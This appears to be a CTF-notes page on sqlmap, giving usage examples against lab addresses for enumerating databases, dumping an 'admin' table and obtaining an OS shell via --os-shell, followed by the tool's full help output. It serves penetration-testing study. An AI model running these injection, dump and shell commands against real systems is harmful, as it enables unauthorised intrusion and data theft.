> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/misc/databases/sql-injection/sqlmap.md). # sqlmap **sqlmap** is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. ## Update sqlmap To update sqlmap ```bash sudo sqlmap --update ``` but in Kali Linux it is recommended to use `apt` ```bash sudo apt install sqlmap ``` {% hint style="info" %} HINT sqlmap will write log files under `/home/kali/.local/share/sqlmap/output//`. {% endhint %} ## Example usage Set the URL we want to scan with **-u** and specify the parameter to test using **-p** ```bash sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user ``` Run **sqlmap** with the **-r** parameter, using our file containing the POST request as an argument. ```bash sqlmap -r post.txt ``` Set the URL we want to scan with **-u**, set **--method POST** to send a POST request, use **--data** for the POST body, and specify the parameters to test with **-p** followed by a comma-separated list. ```bash sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order" ``` By adding the `--batch` parameter, `sqlmap` will never ask for user input and automatically use the default behavior. ### Set database type If you know the database type in advance you can supply it with **--dbms=\**. Examples of values are: * `mysql` for MySQL * `postgres` for PostreSQL * `mssql` for Microsoft SQL Server * `oracle` for Oracle ### Set operating system If you know the database type in advance you can supply it with **--os=\**. Examples of values are: * `linux` for Linux * `windows` for Windows ### Enumeration We get the current database with **--current-db** ```bash qlmap -u 'http://192.168.230.111/store/bookPerPub.php?pubid=1' --current-db ``` We enumerate DBMS databases with the **--dbs** parameter ```bash sqlmap -u 'http://192.168.230.111/store/bookPerPub.php?pubid=1' --dbs ``` Then we enumerate tables (**--tables**) in a selected database (**-D \**) ```bash sqlmap -u 'http://192.168.230.111/store/bookPerPub.php?pubid=1' -D store --tables ``` To dump the contents of the selected table in the selected database we use **--dump** ```bash sqlmap -u 'http://192.168.230.111/store/bookPerPub.php?pubid=1' -D store -T admin --dump ``` ### Get OS shell To get prompt for OS shell (**--os-shell**), specifying the known web root (**--web-root**) ```bash sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp" ``` ## Purge cache Previous scans are cached locally in `/home/kali/.local/share/sqlmap` and you can: Flush the current session, delete any previous cached results for the current target only with `--flush-session` ```bash sql-map --flush-session ``` Purge/delete **ALL** locally cached data for all targets with ```bash sqlmap --purge ``` ## Usage information
sqlmap -h ```bash ┌──(kali㉿kali)-[~] └─$ sqlmap -h ___ __H__ ___ ___["]_____ ___ ___ {1.9.6#stable} |_ -| . [)] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org Usage: python3 sqlmap [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK Process Google dork results as target URLs Request: These options can be used to specify how to connect to the target URL --data=DATA Data string to be sent through POST (e.g. "id=1") --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") --random-agent Use randomly selected HTTP User-Agent header value --proxy=PROXY Use a proxy to connect to the target URL --tor Use Tor anonymity network --check-tor Check to see if Tor is used properly Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to provided value Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH.. SQL injection techniques to use (default "BEUSTQ") Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --passwords Enumerate DBMS users password hashes --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate Operating system access: These options can be used to access the back-end database management system underlying operating system --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC General: These options can be used to set some general working parameters --batch Never ask for user input, use the default behavior --flush-session Flush session files for current target Miscellaneous: These options do not fit into any other category --wizard Simple wizard interface for beginner users [!] to see full list of options run with '-hh' ```
sqlmap -hh ```bash ┌──(kali㉿kali)-[~] └─$ sqlmap -hh ___ __H__ ___ ___[']_____ ___ ___ {1.9.6#stable} |_ -| . ["] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org Usage: python3 sqlmap [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT Connection string for direct database connection -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file -m BULKFILE Scan multiple targets given in a textual file -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target URLs -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target URL -A AGENT, --user.. HTTP User-Agent header value -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") --method=METHOD Force usage of given HTTP method (e.g. PUT) --data=DATA Data string to be sent through POST (e.g. "id=1") --param-del=PARA.. Character used for splitting parameter values (e.g. &) --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") --cookie-del=COO.. Character used for splitting cookie values (e.g. ;) --live-cookies=L.. Live cookies file used for loading up-to-date values --load-cookies=L.. File containing cookies in Netscape/wget format --drop-set-cookie Ignore Set-Cookie header from response --http2 Use HTTP version 2 (experimental) --mobile Imitate smartphone through HTTP User-Agent header --random-agent Use randomly selected HTTP User-Agent header value --host=HOST HTTP Host header value --referer=REFERER HTTP Referer header value --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...) --auth-cred=AUTH.. HTTP authentication credentials (name:password) --auth-file=AUTH.. HTTP authentication PEM cert/private key file --abort-code=ABO.. Abort on (problematic) HTTP error code(s) (e.g. 401) --ignore-code=IG.. Ignore (problematic) HTTP error code(s) (e.g. 401) --ignore-proxy Ignore system default proxy settings --ignore-redirects Ignore redirection attempts --ignore-timeouts Ignore connection timeouts --proxy=PROXY Use a proxy to connect to the target URL --proxy-cred=PRO.. Proxy authentication credentials (name:password) --proxy-file=PRO.. Load proxy list from a file --proxy-freq=PRO.. Requests between change of proxy from a given list --tor Use Tor anonymity network --tor-port=TORPORT Set Tor proxy port other than default --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default)) --check-tor Check to see if Tor is used properly --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) --retries=RETRIES Retries when the connection timeouts (default 3) --retry-on=RETRYON Retry request on regexp matching content (e.g. "drop") --randomize=RPARAM Randomly change value for given parameter(s) --safe-url=SAFEURL URL address to visit frequently during testing --safe-post=SAFE.. POST data to send to a safe URL --safe-req=SAFER.. Load safe HTTP request from a file --safe-freq=SAFE.. Regular requests between visits to a safe URL --skip-urlencode Skip URL encoding of payload data --csrf-token=CSR.. Parameter used to hold anti-CSRF token --csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token --csrf-method=CS.. HTTP method to use during anti-CSRF token page visit --csrf-data=CSRF.. POST data to send during anti-CSRF token page visit --csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0) --force-ssl Force usage of SSL/HTTPS --chunked Use HTTP chunked transfer encoded (POST) requests --hpp Use HTTP parameter pollution method --eval=EVALCODE Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") Optimization: These options can be used to optimize the performance of sqlmap -o Turn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s) connections --null-connection Retrieve page length without actual HTTP response body --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --skip=SKIP Skip testing for given parameter(s) --skip-static Skip testing parameters that not appear to be dynamic --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses") --param-filter=P.. Select testable parameter(s) by place (e.g. "POST") --dbms=DBMS Force back-end DBMS to provided value --dbms-cred=DBMS.. DBMS authentication credentials (user:password) --os=OS Force back-end DBMS operating system to provided value --invalid-bignum Use big numbers for invalidating values --invalid-logical Use logical operations for invalidating values --invalid-string Use random strings for invalidating values --no-cast Turn off payload casting mechanism --no-escape Turn off string escaping mechanism --prefix=PREFIX Injection payload prefix string --suffix=SUFFIX Injection payload suffix string --tamper=TAMPER Use given script(s) for tampering injection data Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) --string=STRING String to match when query is evaluated to True --not-string=NOT.. String to match when query is evaluated to False --regexp=REGEXP Regexp to match when query is evaluated to True --code=CODE HTTP code to match when query is evaluated to True --smart Perform thorough tests only if positive heuristic(s) --text-only Compare pages based only on the textual content --titles Compare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH.. SQL injection techniques to use (default "BEUSTQ") --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection --union-char=UCHAR Character to use for bruteforcing number of columns --union-from=UFROM Table to use in FROM part of UNION query SQL injection --union-values=U.. Column values to use for UNION query SQL injection --dns-domain=DNS.. Domain name used for DNS exfiltration attack --second-url=SEC.. Resulting page URL searched for second-order response --second-req=SEC.. Load second-order HTTP request from file Fingerprint: -f, --fingerprint Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --hostname Retrieve DBMS server hostname --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --count Retrieve number of entries for table(s) --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) --comments Check for DBMS comments during enumeration --statements Retrieve SQL statements being run on DBMS -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate -X EXCLUDE DBMS database identifier(s) to not enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --pivot-column=P.. Pivot column name --where=DUMPWHERE Use WHERE condition while table dumping --start=LIMITSTART First dump table entry to retrieve --stop=LIMITSTOP Last dump table entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=SQLQ.. SQL statement to be executed --sql-shell Prompt for an interactive SQL shell --sql-file=SQLFILE Execute SQL statements from given file(s) Brute force: These options can be used to run brute force checks --common-tables Check existence of common tables --common-columns Check existence of common columns --common-files Check existence of common files User-defined function injection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system --file-read=FILE.. Read a file from the back-end DBMS file system --file-write=FIL.. Write a local file on the back-end DBMS file system --file-dest=FILE.. Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key value type General: These options can be used to set some general working parameters -s SESSIONFILE Load session from a stored (.sqlite) file -t TRAFFICFILE Log all HTTP traffic into a textual file --abort-on-empty Abort data retrieval on empty results --answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N") --base64=BASE64P.. Parameter(s) containing Base64 encoded data --base64-safe Use URL and filename safe Base64 alphabet (RFC 4648) --batch Never ask for user input, use the default behavior --binary-fields=.. Result fields having binary values (e.g. "digest") --check-internet Check Internet connection before assessing the target --cleanup Clean up the DBMS from sqlmap specific UDF and tables --crawl=CRAWLDEPTH Crawl the website starting from the target URL --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") --csv-del=CSVDEL Delimiting character used in CSV output (default ",") --charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef") --dump-file=DUMP.. Store dumped data to a custom file --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) --encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK) --eta Display for each output the estimated time of arrival --flush-session Flush session files for current target --forms Parse and test forms on target URL --fresh-queries Ignore query results stored in session file --gpage=GOOGLEPAGE Use Google dork results from specified page number --har=HARFILE Log all HTTP traffic into a HAR file --hex Use hex conversion during data retrieval --output-dir=OUT.. Custom output directory path --parse-errors Parse and display DBMS error messages from responses --preprocess=PRE.. Use given script(s) for preprocessing (request) --postprocess=PO.. Use given script(s) for postprocessing (response) --repair Redump entries having unknown character marker (?) --save=SAVECONFIG Save options to a configuration INI file --scope=SCOPE Regexp for filtering targets --skip-heuristics Skip heuristic detection of vulnerabilities --skip-waf Skip heuristic detection of WAF/IPS protection --table-prefix=T.. Prefix used for temporary tables (default: "sqlmap") --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) --time-limit=TIM.. Run with a time limit in seconds (e.g. 3600) --unsafe-naming Disable escaping of DBMS identifiers (e.g. "user") --web-root=WEBROOT Web server document root directory (e.g. "/var/www") Miscellaneous: These options do not fit into any other category -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") --alert=ALERT Run host OS command(s) when SQL injection is found --beep Beep on question and/or when vulnerability is found --dependencies Check for missing (optional) sqlmap dependencies --disable-coloring Disable console output coloring --disable-hashing Disable hash analysis on table dumps --list-tampers Display list of available tamper scripts --no-logging Disable logging to a file --no-truncate Disable console output truncation (e.g. long entr...) --offline Work in offline mode (only use session data) --purge Safely remove all content from sqlmap data directory --results-file=R.. Location of CSV results file in multiple targets mode --shell Prompt for an interactive sqlmap shell --tmp-dir=TMPDIR Local directory for storing temporary files --unstable Adjust options for unstable connections --update Update sqlmap --wizard Simple wizard interface for beginner users ```
## Resources sqlmap - Homepage: sqlmap - Kali Tools: